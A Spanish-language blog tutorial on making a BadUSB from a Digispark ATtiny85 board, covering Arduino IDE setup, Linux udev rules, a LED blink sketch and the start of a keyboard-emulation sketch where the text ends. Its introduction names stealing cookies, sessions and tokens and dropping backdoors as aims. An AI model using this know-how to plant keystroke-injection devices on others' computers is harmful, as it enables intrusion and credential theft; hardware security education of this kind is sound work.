Conceptualmente un BadUSB consiste en un dispositivo USB (usualmente un pendrive) aparentemente inofensivo, pero que cuyo "firmware" ha sido previamente modificado para hacerle parecer un teclado, un ratón o cualquier otro dispositivo USB ante el sistema operativo del equipo donde se pinche y, ya de paso (y aquí es donde aparece su faceta "bad"): hacerle ejecutar por ejemplo una serie de comandos y ordenes como si estas fueran escritas por el supuesto-usuario al otro lado del supuesto-teclado.<br />
<br />
Extrapolando podemos hablar de abrir una terminal, creación eliminado descarga ejecución de archivos, documentos, historiales, cookies, sesiones, tokens, "droperar" código malicioso, backdoors, etc...<br />
<br />
<h3>
El hardware: Digispark con ATtiny85</h3>
El ATtiny es un pequeñísimo micro-controlador programable, es muy militado en cuanto a memoria y entradas, pero es muy económico y para "trastear" con nuestros inventos puede valernos perfectamente. Actualmente es posible encontrar este controlador en múltiples placas de desarrollo de diferentes formas, colores, tipos de conectores, etc... pero para este caso práctico vamos a utilizar el Digispark de Digistump, que además de pequeño, discreto y de llevar el conector USB incorporado nos permite programarlo con el software de Arduino y programar el ATtiny85 con sus sketchs.<br />
Sus principales características son:<br />
<ul>
<li> Soporte para el Arduino IDE 1.0+ (OSX/Win/Linux)</li>
<li> Alimentación vía USB o fuente Externa – 5v or 7-35v (selección automática – 12v o menor es recomendado)</li>
<li> Regulador USB incorporado de 500ma 5V</li>
<li> 6 Pines de I/O (2 se usan para USB solo si el programa se comunica activamente via USB, de otra manera se pueden usar los 6)</li>
<li> 8k de Memoria Flash (cerca de 6k después del bootloader)</li>
<li> I2C y SPI (via USI, Universal Serial Interface)</li>
<li> PWM en 3 pins (es posible mas usando Software PWM)</li>
<li> ADC en 4 pines</li>
<li> LED de alimentación y Test/Status LED (en Pin1)</li>
</ul>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhPI6nbe2qEwgtoyIEEtjdYR158u5xD4GG96ZfXBdUOA00UjebeTGise9wE30TpypuJkj-P_kdmIuk1Fw5WYYiZJf44IyivtzQ_8XnfCWcK_PcP1SbkfhLAOE3EcCFyp1Ep6hOE5y4eJjs/s1600/Macro.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="984" data-original-width="1600" height="245" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhPI6nbe2qEwgtoyIEEtjdYR158u5xD4GG96ZfXBdUOA00UjebeTGise9wE30TpypuJkj-P_kdmIuk1Fw5WYYiZJf44IyivtzQ_8XnfCWcK_PcP1SbkfhLAOE3EcCFyp1Ep6hOE5y4eJjs/s400/Macro.jpg" width="400" /></a></div>
<br />
<br />
Puede encontrar por Internet en un rango de precio que va de 1€ a 6€ dependiendo de la página donde la compremos y los tiempos de espera para recibirlo dependiendo de si la web es local o del lejano oriente (You know...)<br />
<ul>
</ul>
<h3>
Preparando Arduino-IDE </h3>
Antes de poder programar nuestro dispositivo necesitamos que AruinoIDE lo reconozca debidamente, y para ello es importante disponer de la última versión del software y además realizar un paso de configuración extra para que reconozca la placa Digispark (<b>ojo</b> los que usáis Linux y descargáis desde repositorios: no está
actualizado en ellos y os podéis volver locos buscando el apartado
descrito en el siguiente paso).<br />
<br />
Abrimos ArdunioIDE y nos vamos al menú Archivo/Preferencias<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhZngHU-s1HrMIQ27Gbspr_7s55Yv9QKPpmcZxotD-9LJLQjR-5f8RsufYBRz-xCmn-h2llXr_8sVEvPQKmk6dvhrudDvE9YrfPv_1Pqt5R8DNKq7PT-cG3oIMhJeOyNWG-8_Pih9h6trg/s1600/Selecci%25C3%25B3n_020.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="540" data-original-width="583" height="592" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhZngHU-s1HrMIQ27Gbspr_7s55Yv9QKPpmcZxotD-9LJLQjR-5f8RsufYBRz-xCmn-h2llXr_8sVEvPQKmk6dvhrudDvE9YrfPv_1Pqt5R8DNKq7PT-cG3oIMhJeOyNWG-8_Pih9h6trg/s640/Selecci%25C3%25B3n_020.png" width="640" /></a></div>
<br />
En la ventana de preferencias debemos buscar el box como "Gestor de URLs Adicionales de Tarjetas" y deberemos pegar dentro la siguiente url:<br />
<div style="text-align: center;">
<div class="prettyprint prettyprinted">
<span style="font-size: small;"><span style="font-family: "courier new" , "courier" , monospace;"><span class="pln">http</span><span class="pun">:</span><span class="com">//digistump.com/package_digistump_index.json</span></span></span></div>
</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj9ioxN7eBCW8Di02m3VSf3DHadtY5sk4yH4QQsEg26EjJ6QjXbhYujy1e0QQNqk359sA7Mn7V4D-sRg89WPWAbuekgzpRCCHSkCQxtsbVFNx8NJ1aykcqKe75qjy24IGrgK-_DA1cne68/s1600/Selecci%25C3%25B3n_024.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="673" data-original-width="851" height="505" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj9ioxN7eBCW8Di02m3VSf3DHadtY5sk4yH4QQsEg26EjJ6QjXbhYujy1e0QQNqk359sA7Mn7V4D-sRg89WPWAbuekgzpRCCHSkCQxtsbVFNx8NJ1aykcqKe75qjy24IGrgK-_DA1cne68/s640/Selecci%25C3%25B3n_024.png" width="640" /></a></div>
<br />
Después de aceptar con OK y que se cierre la ventana navegamos hasta el menú "Herramientas" esta vez y, una vez en él, navegaremos hasta la opción "Placa: xxxxx" donde se abrirá un nuevo menú emergente del que seleccionaremos la opción "Gestor De Tarjetas..."<br />
<div class="separator" style="clear: both; text-align: center;">
</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgXzYyOAITXZ5wbYeGyjqkoVUBFTCV_4gx0-HtqbghVEKb2kLo3Gtvspx1g7Bxo9F3xszp95Nbw7UW2bOimBxMtHHyw4x5BKTNE7dZciH8YagKmfwmgQeK8PBXEaCGDyGSYyADsNQ0gnaM/s1600/sketch_jul19a+Arduino+1.8.3_027.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="717" data-original-width="810" height="564" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgXzYyOAITXZ5wbYeGyjqkoVUBFTCV_4gx0-HtqbghVEKb2kLo3Gtvspx1g7Bxo9F3xszp95Nbw7UW2bOimBxMtHHyw4x5BKTNE7dZciH8YagKmfwmgQeK8PBXEaCGDyGSYyADsNQ0gnaM/s640/sketch_jul19a+Arduino+1.8.3_027.png" width="640" /></a></div>
<div class="separator" style="clear: both; text-align: left;">
Ahora usamos el buscador para localizar la contribución "Digistump AVR Boards" y pinchamos sobre el botón de instalación para descargar e instalar los controladores para nuestra placa.</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj64GqU-t4KywyzXlLfObnnOt-W6HDe471Pct3UOuQhPBAWjbc44h14AYxQ5cVxvrmDoM9CNkRwM-7cikk-G6rsj8HdS4Nfs3YI2_afFxgVpcem_OU7iLC4EsPxXUPO4F41nANdSXA-w0o/s1600/Gestor+de+tarjetas_030.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="454" data-original-width="804" height="360" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj64GqU-t4KywyzXlLfObnnOt-W6HDe471Pct3UOuQhPBAWjbc44h14AYxQ5cVxvrmDoM9CNkRwM-7cikk-G6rsj8HdS4Nfs3YI2_afFxgVpcem_OU7iLC4EsPxXUPO4F41nANdSXA-w0o/s640/Gestor+de+tarjetas_030.png" width="640" /></a></div>
<div class="separator" style="clear: both; text-align: left;">
<br /></div>
<div class="separator" style="clear: both; text-align: left;">
Si regresamos ahora al menú Herramientas/Placa y descendemos le menú emergente veremos que ya aparecen disponibles las placas Digistump AVR; para poder flashear nuestro Digispark deberemos seleccionar "<i>Digispark (Default – 16.5 mhz)</i>"</div>
<div class="separator" style="clear: both; text-align: left;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh7v3m56dtzvgvX2Qi9RvRNFzxuX5LtdMskp19ccuBhjMbm9XLKZYiSsCcMniPkGUz9e_o7dkalaahhoapg3Txvbl0fLBrtlU5byBELaOTh1tOf_xLulUwnkVUbLjYDKKEOEkO0pM5A0qQ/s1600/sketch_jul19a+Arduino+1.8.3_033.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="750" data-original-width="823" height="580" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh7v3m56dtzvgvX2Qi9RvRNFzxuX5LtdMskp19ccuBhjMbm9XLKZYiSsCcMniPkGUz9e_o7dkalaahhoapg3Txvbl0fLBrtlU5byBELaOTh1tOf_xLulUwnkVUbLjYDKKEOEkO0pM5A0qQ/s640/sketch_jul19a+Arduino+1.8.3_033.png" width="640" /> </a></div>
<h3 style="clear: both; text-align: left;">
Comportamiento de Digispark y sus drivers</h3>
<div class="separator" style="clear: both; text-align: left;">
Es importante una aclaración que puede ahorraros muchos quebraderos de cabeza: la forma de programación es diferente a la de las placas arduino tradicionales; para programar este tipo de placas primero se desarrolla el sketch/script, después pulsamos el botón de subir a la placa y no será hasta ese momento cuando tengamos que introducir el Digispark en el puerto USB de nuestro ordenador y, una vez lo reconozca se grabará, para ello debemos de contar con los drivers correctos instalados y funcionando...</div>
<div class="separator" style="clear: both; text-align: left;">
<br /></div>
<div class="separator" style="clear: both; text-align: left;">
Si trabajamos desde Linux para llegar al punto en que que nuestro equipo reconozca el Digispark y nos deje programarlo debemos de tener instalada la librearía <b>libusb</b> tanto su versión actual como su versión legacy (los encontraréis en <a href="http://libusb.org/">http://libusb.org/</a> ). </div>
<div class="separator" style="clear: both; text-align: left;">
<br /></div>
<div class="separator" style="clear: both; text-align: left;">
Si aún con ello persisten los problemas (en mi caso así ha sido) tendremos que llevar a cabo unas modificaciones en gestor de dispositivos que usa el kernel Linux, <b>udev</b>, ya que por defecto monta los dispositivos con permisos de "solo lectura" y nos permitirá grabar nada en el dispositivo. </div>
Para modificar este comportamiento debemos modificar las reglas udev del <span style="font-size: small;">archivo<span style="font-family: inherit;"> <i>/etc/udev/rules.d/49-micronucleus.rules </i>(o crearlo en caso de no disponer de él) </span></span><br />
<br />
<pre class="code" style="background-color: #fbfaf9; border-radius: 2px; border: 1px solid rgb(204, 204, 204); box-shadow: rgb(204, 204, 204) 0px 0px 0.5em inset; color: #333333; direction: ltr; font-family: Consolas, "Andale Mono WT", "Andale Mono", "Bitstream Vera Sans Mono", "Nimbus Mono L", Monaco, "Courier New", monospace; font-size: 14px; margin-bottom: 1.4em; overflow: auto; padding: 0.7em 1em; word-wrap: normal;"># UDEV Rules for Micronucleus boards including the Digispark.
# This file must be placed at:
#
# /etc/udev/rules.d/49-micronucleus.rules (preferred location)
# or
# /lib/udev/rules.d/49-micronucleus.rules (req'd on some broken systems)
#
# After this file is copied, physically unplug and reconnect the board.
#
SUBSYSTEMS=="usb", ATTRS{idVendor}=="16d0", ATTRS{idProduct}=="0753", MODE:="0666"
KERNEL=="ttyACM*", ATTRS{idVendor}=="16d0", ATTRS{idProduct}=="0753", MODE:="0666", ENV{ID_MM_DEVICE_IGNORE}="1"
#
# If you share your linux system with other users, or just don't like the
# idea of write permission for everybody, you can replace MODE:="0666" with
# OWNER:="yourusername" to create the device owned by you, or with
# GROUP:="somegroupname" and mange access using standard unix groups</pre>
<div class="separator" style="clear: both; text-align: left;">
Con esta modificación y reiniciando las reglas con <span style="background-color: #fbfaf9; color: #333333; font-family: "consolas" , "andale mono wt" , "andale mono" , "bitstream vera sans mono" , "nimbus mono l" , "monaco" , "courier new" , monospace; font-size: 14px;">"</span><span style="background-color: #fbfaf9; color: #333333; font-family: "consolas" , "andale mono wt" , "andale mono" , "bitstream vera sans mono" , "nimbus mono l" , "monaco" , "courier new" , monospace; font-size: 14px;">udevadm control --reload-rules" </span><span style="background-color: #fbfaf9; color: #333333;"><span style="font-family: inherit;">debería ser suficiente y con desconectar y volver a conectar nuestro Digispark ya deberíamos obtener el comportamiento y deseado y, ahora si por fin, estar listos para empezar a flashear el dispositivo y cargar nuestros scripts.</span></span></div>
<div class="separator" style="clear: both; text-align: left;">
<span style="background-color: #fbfaf9; color: #333333;"><span style="font-family: inherit;"><br /></span></span></div>
<div class="separator" style="clear: both; text-align: center;">
<span style="background-color: #fbfaf9;"><span style="color: red; font-family: "verdana" , sans-serif;"><u><b>NOTA</b>: para trabajar desde entornos Windows es todo bastante más sencillo y solo es necesario descargar e instalar los drivers de</u> <a href="https://raw.githubusercontent.com/digistump/DigistumpArduino/master/tools/micronucleus-2.0a4-win.zip" target="_blank">aqui</a></span></span></div>
<div class="separator" style="clear: both; text-align: center;">
<span style="background-color: #fbfaf9;"><br /></span></div>
<h3 style="clear: both; text-align: left;">
Probando que todo funciona...</h3>
<div>
Por fin estamos en disposición de empezar a flashear nuestro dispositivo y de subirle los scripts que deseemos, para comprobar que todo funciona como debe procedemos a hacernos un... [trrrtrrtrrtrrt rebdoble de tambores]... LED Blink!!! <mode ironic>Apuesto a que es la primera vez que oís hablar de ello... </mode ironic><br />
<br />
Este sketch los tenéis incluido en los ejemplos básicos de arduinoIDE y reza del siguiente modo:<br />
<pre class="prettyprint prettyprinted" style="background-attachment: initial; background-clip: initial; background-color: rgb(39, 40, 34) !important; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(39, 40, 34) !important; color: #bbbbbb; font-family: "Courier 10 Pitch", Courier, monospace; font-size: 15px; line-height: 21px; margin-bottom: 24px; overflow: auto; padding: 8px !important; text-size-adjust: 140%; vertical-align: baseline;"><span class="com" style="background: transparent; border: 0px; color: #93a1a1; margin: 0px; padding: 0px; vertical-align: baseline;">// the setup routine runs once when you press reset:</span><span class="pln" style="background: transparent; border: 0px; color: #66d9ef; margin: 0px; padding: 0px; vertical-align: baseline;">
</span><span class="kwd" style="background: transparent; border: 0px; color: #f92659; margin: 0px; padding: 0px; vertical-align: baseline;">void</span><span class="pln" style="background: transparent; border: 0px; color: #66d9ef; margin: 0px; padding: 0px; vertical-align: baseline;"> setup</span><span class="pun" style="background: transparent; border: 0px; color: #f8f8f2; margin: 0px; padding: 0px; vertical-align: baseline;">()</span><span class="pln" style="background: transparent; border: 0px; color: #66d9ef; margin: 0px; padding: 0px; vertical-align: baseline;"> </span><span class="pun" style="background: transparent; border: 0px; color: #f8f8f2; margin: 0px; padding: 0px; vertical-align: baseline;">{</span><span class="pln" style="background: transparent; border: 0px; color: #66d9ef; margin: 0px; padding: 0px; vertical-align: baseline;">
</span><span class="com" style="background: transparent; border: 0px; color: #93a1a1; margin: 0px; padding: 0px; vertical-align: baseline;">// initialize the digital pin as an output.</span><span class="pln" style="background: transparent; border: 0px; color: #66d9ef; margin: 0px; padding: 0px; vertical-align: baseline;">
pinMode</span><span class="pun" style="background: transparent; border: 0px; color: #f8f8f2; margin: 0px; padding: 0px; vertical-align: baseline;">(</span><span class="lit" style="background: transparent; border: 0px; color: #ae81ff; margin: 0px; padding: 0px; vertical-align: baseline;">0</span><span class="pun" style="background: transparent; border: 0px; color: #f8f8f2; margin: 0px; padding: 0px; vertical-align: baseline;">,</span><span class="pln" style="background: transparent; border: 0px; color: #66d9ef; margin: 0px; padding: 0px; vertical-align: baseline;"> OUTPUT</span><span class="pun" style="background: transparent; border: 0px; color: #f8f8f2; margin: 0px; padding: 0px; vertical-align: baseline;">);</span><span class="pln" style="background: transparent; border: 0px; color: #66d9ef; margin: 0px; padding: 0px; vertical-align: baseline;"> </span><span class="com" style="background: transparent; border: 0px; color: #93a1a1; margin: 0px; padding: 0px; vertical-align: baseline;">//LED on Model B</span><span class="pln" style="background: transparent; border: 0px; color: #66d9ef; margin: 0px; padding: 0px; vertical-align: baseline;">
pinMode</span><span class="pun" style="background: transparent; border: 0px; color: #f8f8f2; margin: 0px; padding: 0px; vertical-align: baseline;">(</span><span class="lit" style="background: transparent; border: 0px; color: #ae81ff; margin: 0px; padding: 0px; vertical-align: baseline;">1</span><span class="pun" style="background: transparent; border: 0px; color: #f8f8f2; margin: 0px; padding: 0px; vertical-align: baseline;">,</span><span class="pln" style="background: transparent; border: 0px; color: #66d9ef; margin: 0px; padding: 0px; vertical-align: baseline;"> OUTPUT</span><span class="pun" style="background: transparent; border: 0px; color: #f8f8f2; margin: 0px; padding: 0px; vertical-align: baseline;">);</span><span class="pln" style="background: transparent; border: 0px; color: #66d9ef; margin: 0px; padding: 0px; vertical-align: baseline;"> </span><span class="com" style="background: transparent; border: 0px; color: #93a1a1; margin: 0px; padding: 0px; vertical-align: baseline;">//LED on Model A </span><span class="pln" style="background: transparent; border: 0px; color: #66d9ef; margin: 0px; padding: 0px; vertical-align: baseline;">
</span><span class="pun" style="background: transparent; border: 0px; color: #f8f8f2; margin: 0px; padding: 0px; vertical-align: baseline;">}</span><span class="pln" style="background: transparent; border: 0px; color: #66d9ef; margin: 0px; padding: 0px; vertical-align: baseline;">
</span><span class="com" style="background: transparent; border: 0px; color: #93a1a1; margin: 0px; padding: 0px; vertical-align: baseline;">// the loop routine runs over and over again forever:</span><span class="pln" style="background: transparent; border: 0px; color: #66d9ef; margin: 0px; padding: 0px; vertical-align: baseline;">
</span><span class="kwd" style="background: transparent; border: 0px; color: #f92659; margin: 0px; padding: 0px; vertical-align: baseline;">void</span><span class="pln" style="background: transparent; border: 0px; color: #66d9ef; margin: 0px; padding: 0px; vertical-align: baseline;"> loop</span><span class="pun" style="background: transparent; border: 0px; color: #f8f8f2; margin: 0px; padding: 0px; vertical-align: baseline;">()</span><span class="pln" style="background: transparent; border: 0px; color: #66d9ef; margin: 0px; padding: 0px; vertical-align: baseline;"> </span><span class="pun" style="background: transparent; border: 0px; color: #f8f8f2; margin: 0px; padding: 0px; vertical-align: baseline;">{</span><span class="pln" style="background: transparent; border: 0px; color: #66d9ef; margin: 0px; padding: 0px; vertical-align: baseline;">
digitalWrite</span><span class="pun" style="background: transparent; border: 0px; color: #f8f8f2; margin: 0px; padding: 0px; vertical-align: baseline;">(</span><span class="lit" style="background: transparent; border: 0px; color: #ae81ff; margin: 0px; padding: 0px; vertical-align: baseline;">0</span><span class="pun" style="background: transparent; border: 0px; color: #f8f8f2; margin: 0px; padding: 0px; vertical-align: baseline;">,</span><span class="pln" style="background: transparent; border: 0px; color: #66d9ef; margin: 0px; padding: 0px; vertical-align: baseline;"> HIGH</span><span class="pun" style="background: transparent; border: 0px; color: #f8f8f2; margin: 0px; padding: 0px; vertical-align: baseline;">);</span><span class="pln" style="background: transparent; border: 0px; color: #66d9ef; margin: 0px; padding: 0px; vertical-align: baseline;"> </span><span class="com" style="background: transparent; border: 0px; color: #93a1a1; margin: 0px; padding: 0px; vertical-align: baseline;">// turn the LED on (HIGH is the voltage level)</span><span class="pln" style="background: transparent; border: 0px; color: #66d9ef; margin: 0px; padding: 0px; vertical-align: baseline;">
digitalWrite</span><span class="pun" style="background: transparent; border: 0px; color: #f8f8f2; margin: 0px; padding: 0px; vertical-align: baseline;">(</span><span class="lit" style="background: transparent; border: 0px; color: #ae81ff; margin: 0px; padding: 0px; vertical-align: baseline;">1</span><span class="pun" style="background: transparent; border: 0px; color: #f8f8f2; margin: 0px; padding: 0px; vertical-align: baseline;">,</span><span class="pln" style="background: transparent; border: 0px; color: #66d9ef; margin: 0px; padding: 0px; vertical-align: baseline;"> HIGH</span><span class="pun" style="background: transparent; border: 0px; color: #f8f8f2; margin: 0px; padding: 0px; vertical-align: baseline;">);</span><span class="pln" style="background: transparent; border: 0px; color: #66d9ef; margin: 0px; padding: 0px; vertical-align: baseline;">
delay</span><span class="pun" style="background: transparent; border: 0px; color: #f8f8f2; margin: 0px; padding: 0px; vertical-align: baseline;">(</span><span class="lit" style="background: transparent; border: 0px; color: #ae81ff; margin: 0px; padding: 0px; vertical-align: baseline;">1000</span><span class="pun" style="background: transparent; border: 0px; color: #f8f8f2; margin: 0px; padding: 0px; vertical-align: baseline;">);</span><span class="pln" style="background: transparent; border: 0px; color: #66d9ef; margin: 0px; padding: 0px; vertical-align: baseline;"> </span><span class="com" style="background: transparent; border: 0px; color: #93a1a1; margin: 0px; padding: 0px; vertical-align: baseline;">// wait for a second</span><span class="pln" style="background: transparent; border: 0px; color: #66d9ef; margin: 0px; padding: 0px; vertical-align: baseline;">
digitalWrite</span><span class="pun" style="background: transparent; border: 0px; color: #f8f8f2; margin: 0px; padding: 0px; vertical-align: baseline;">(</span><span class="lit" style="background: transparent; border: 0px; color: #ae81ff; margin: 0px; padding: 0px; vertical-align: baseline;">0</span><span class="pun" style="background: transparent; border: 0px; color: #f8f8f2; margin: 0px; padding: 0px; vertical-align: baseline;">,</span><span class="pln" style="background: transparent; border: 0px; color: #66d9ef; margin: 0px; padding: 0px; vertical-align: baseline;"> LOW</span><span class="pun" style="background: transparent; border: 0px; color: #f8f8f2; margin: 0px; padding: 0px; vertical-align: baseline;">);</span><span class="pln" style="background: transparent; border: 0px; color: #66d9ef; margin: 0px; padding: 0px; vertical-align: baseline;"> </span><span class="com" style="background: transparent; border: 0px; color: #93a1a1; margin: 0px; padding: 0px; vertical-align: baseline;">// turn the LED off by making the voltage LOW</span><span class="pln" style="background: transparent; border: 0px; color: #66d9ef; margin: 0px; padding: 0px; vertical-align: baseline;">
digitalWrite</span><span class="pun" style="background: transparent; border: 0px; color: #f8f8f2; margin: 0px; padding: 0px; vertical-align: baseline;">(</span><span class="lit" style="background: transparent; border: 0px; color: #ae81ff; margin: 0px; padding: 0px; vertical-align: baseline;">1</span><span class="pun" style="background: transparent; border: 0px; color: #f8f8f2; margin: 0px; padding: 0px; vertical-align: baseline;">,</span><span class="pln" style="background: transparent; border: 0px; color: #66d9ef; margin: 0px; padding: 0px; vertical-align: baseline;"> LOW</span><span class="pun" style="background: transparent; border: 0px; color: #f8f8f2; margin: 0px; padding: 0px; vertical-align: baseline;">);</span><span class="pln" style="background: transparent; border: 0px; color: #66d9ef; margin: 0px; padding: 0px; vertical-align: baseline;">
delay</span><span class="pun" style="background: transparent; border: 0px; color: #f8f8f2; margin: 0px; padding: 0px; vertical-align: baseline;">(</span><span class="lit" style="background: transparent; border: 0px; color: #ae81ff; margin: 0px; padding: 0px; vertical-align: baseline;">1000</span><span class="pun" style="background: transparent; border: 0px; color: #f8f8f2; margin: 0px; padding: 0px; vertical-align: baseline;">);</span><span class="pln" style="background: transparent; border: 0px; color: #66d9ef; margin: 0px; padding: 0px; vertical-align: baseline;"> </span><span class="com" style="background: transparent; border: 0px; color: #93a1a1; margin: 0px; padding: 0px; vertical-align: baseline;">// wait for a second</span><span class="pln" style="background: transparent; border: 0px; color: #66d9ef; margin: 0px; padding: 0px; vertical-align: baseline;">
</span><span class="pun" style="background: transparent; border: 0px; color: #f8f8f2; margin: 0px; padding: 0px; vertical-align: baseline;">}</span></pre>
</div>
<div>
<br /></div>
<div>
Lo abrimos y, sin conectar aún el dispositivo tal y como hemos especificado mas arriba en el comportamiento del Digispark, procedemos a pulsar el botón de subir el script al dispositivo, pasados unos segundos el propio programa nos pedirá que lo conectemos y segundos después de hacerlo veremos que finaliza su carga.<br />
Acto seguido el dispositivo debería reiniciarse por si mismo y comenzar a encender el led y apagarlos en intervalos de 1 segundo... funciona!!!!!!!<br />
<h3>
Hello World</h3>
</div>
<div>
Si hay algo aun más típico que el Led Blink... es el Hello World!!! Y no podíamos dejar de hacerlo y de paso comprobar como se comporta nuestro "juguete" emulando un teclado físico y ejecutando comandos con él, que es el fin del proyecto!!</div>
<div>
<br /></div>
<div>
Abrimos un nuevo proyecto en ArudinoIDE y copiamos este código (cortesía de los señores <b>Xload </b><i style="background-color: white; color: #555555; font-family: Verdana, "BitStream vera Sans", Helvetica, sans-serif; font-size: 12px; margin: 0px; padding: 0px;"><a href="https://twitter.com/ernesto_xload/" style="color: #2970a6; margin: 0px; padding: 0px;">(</a></i><a href="https://twitter.com/ernesto_xload/" style="background-color: white; color: #2970a6; font-family: Verdana, "BitStream vera Sans", Helvetica, sans-serif; font-size: 12px; margin: 0px; padding: 0px; text-decoration-line: none;"><i style="margin: 0px; padding: 0px;">@</i></a><i style="background-color: white; color: #555555; font-family: Verdana, "BitStream vera Sans", Helvetica, sans-serif; font-size: 12px; margin: 0px; padding: 0px;"><a href="https://twitter.com/ernesto_xload/" style="color: #2970a6; margin: 0px; padding: 0px;">ernesto_xload</a>)</i>, <b>Joel</b><i style="background-color: white; color: #555555; font-family: Verdana, "BitStream vera Sans", Helvetica, sans-serif; font-size: 12px; margin: 0px; padding: 0px;"><a href="https://twitter.com/ernesto_xload/" style="color: #2970a6; margin: 0px; padding: 0px;">(</a></i><i style="background-color: white; color: #555555; font-family: Verdana, "BitStream vera Sans", Helvetica, sans-serif; font-size: 12px; margin: 0px; padding: 0px;"><a href="https://twitter.com/JoelSernaMoreno" style="color: #2970a6; margin: 0px; padding: 0px; text-decoration-line: none;">@</a></i><a href="https://twitter.com/JoelSernaMoreno" style="background-color: white; color: #2970a6; font-family: Verdana, "BitStream vera Sans", Helvetica, sans-serif; font-size: 12px; margin: 0px; padding: 0px; text-decoration-line: none;"><i style="margin: 0px; padding: 0px;">J</i></a><a href="https://twitter.com/JoelSernaMoreno" style="background-color: white; color: #2970a6; font-family: Verdana, "BitStream vera Sans", Helvetica, sans-serif; font-size: 12px; margin: 0px; padding: 0px;"><i style="margin: 0px; padding: 0px;">oel</i></a><a href="https://twitter.com/JoelSernaMoreno" style="background-color: white; color: #2970a6; font-family: Verdana, "BitStream vera Sans", Helvetica, sans-serif; font-size: 12px; margin: 0px; padding: 0px; text-decoration-line: none;"><i style="margin: 0px; padding: 0px;">S</i></a><a href="https://twitter.com/JoelSernaMoreno" style="background-color: white; color: #2970a6; font-family: Verdana, "BitStream vera Sans", Helvetica, sans-serif; font-size: 12px; margin: 0px; padding: 0px; text-decoration-line: none;"><i style="margin: 0px; padding: 0px;">erna</i></a><a href="https://twitter.com/JoelSernaMoreno" style="background-color: white; color: #2970a6; font-family: Verdana, "BitStream vera Sans", Helvetica, sans-serif; font-size: 12px; margin: 0px; padding: 0px; text-decoration-line: none;"><i style="margin: 0px; padding: 0px;">M</i></a><i style="background-color: white; color: #555555; font-family: Verdana, "BitStream vera Sans", Helvetica, sans-serif; font-size: 12px; margin: 0px; padding: 0px;"><a href="https://twitter.com/JoelSernaMoreno" style="color: #2970a6; margin: 0px; padding: 0px; text-decoration-line: none;">oreno</a>) </i>y <b>Adastra</b> de <a href="https://thehackerway.com/" target="_blank"><b>TheHackerWay</b></a>!!):</div>
<div>
<br /></div>
<div>
<pre class="prettyprint prettyprinted" style="background-attachment: initial; background-clip: initial; background-color: rgb(39, 40, 34) !important; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(39, 40, 34) !important; font-family: "Courier 10 Pitch", Courier, monospace; font-size: 15px; line-height: 21px; margin-bottom: 24px; overflow: auto; padding: 8px !important; text-size-adjust: 140%; vertical-align: baseline;"><span class="com" style="background: transparent; border: 0px; color: #93a1a1; margin: 0px; padding: 0px; vertical-align: baseline;">#define </span><span class="com" style="background: transparent; border: 0px; margin: 0px; padding: 0px; vertical-align: baseline;"><span style="color: #ffd966;">kbd_es_es</span></span><span class="com" style="background: transparent; border: 0px; color: #93a1a1; margin: 0px; padding: 0px; vertical-align: baseline;">
#include</span><span class="pln" style="background: transparent; border: 0px; color: #66d9ef; margin: 0px; padding: 0px; vertical-align: baseline;"> </span><span class="str" style="background: transparent; border: 0px; color: #e6db74; margin: 0px; padding: 0px; vertical-align: baseline;">"DigiKeyboard.h"</span><span class="pln" style="background: transparent; border: 0px; color: #66d9ef; margin: 0px; padding: 0px; vertical-align: baseline;">
</span><span class="kwd" style="background: transparent; border: 0px; color: #f92659; margin: 0px; padding: 0px; vertical-align: baseline;">void</span><span class="pln" style="background: transparent; border: 0px; color: #66d9ef; margin: 0px; padding: 0px; vertical-align: baseline;"> setup</span><span class="pun" style="background: transparent; border: 0px; color: #f8f8f2; margin: 0px; padding: 0px; vertical-align: baseline;">()</span><span class="pln" style="background: transparent; border: 0px; color: #66d9ef; margin: 0px; padding: 0px; vertical-align: baseline;"> </span><span class="pun" style="background: transparent; border: 0px; color: #f8f8f2; margin: 0px; padding: 0px; vertical-align: baseline;">{</span><span class="pln" style="background: transparent; border: 0px; color: #66d9ef; margin: 0px; padding: 0px; vertical-align: baseline;">
</span><span class="typ" style="background: transparent; border: 0px; margin: 0px; padding: 0px; vertical-align: baseline;"><span style="color: #6aa84f;">DigiKeyboard</span></span><span class="pun" style="background: transparent; border: 0px; color: #f8f8f2; margin: 0px; padding: 0px; vertical-align: baseline;">.</span><span class="pln" style="background: transparent; border: 0px; color: #66d9ef; margin: 0px; padding: 0px; vertical-align: baseline;">update</span><span class="pun" style="background: transparent; border: 0px; color: #f8f8f2; margin: 0px; padding: 0px; vertical-align: baseline;">();
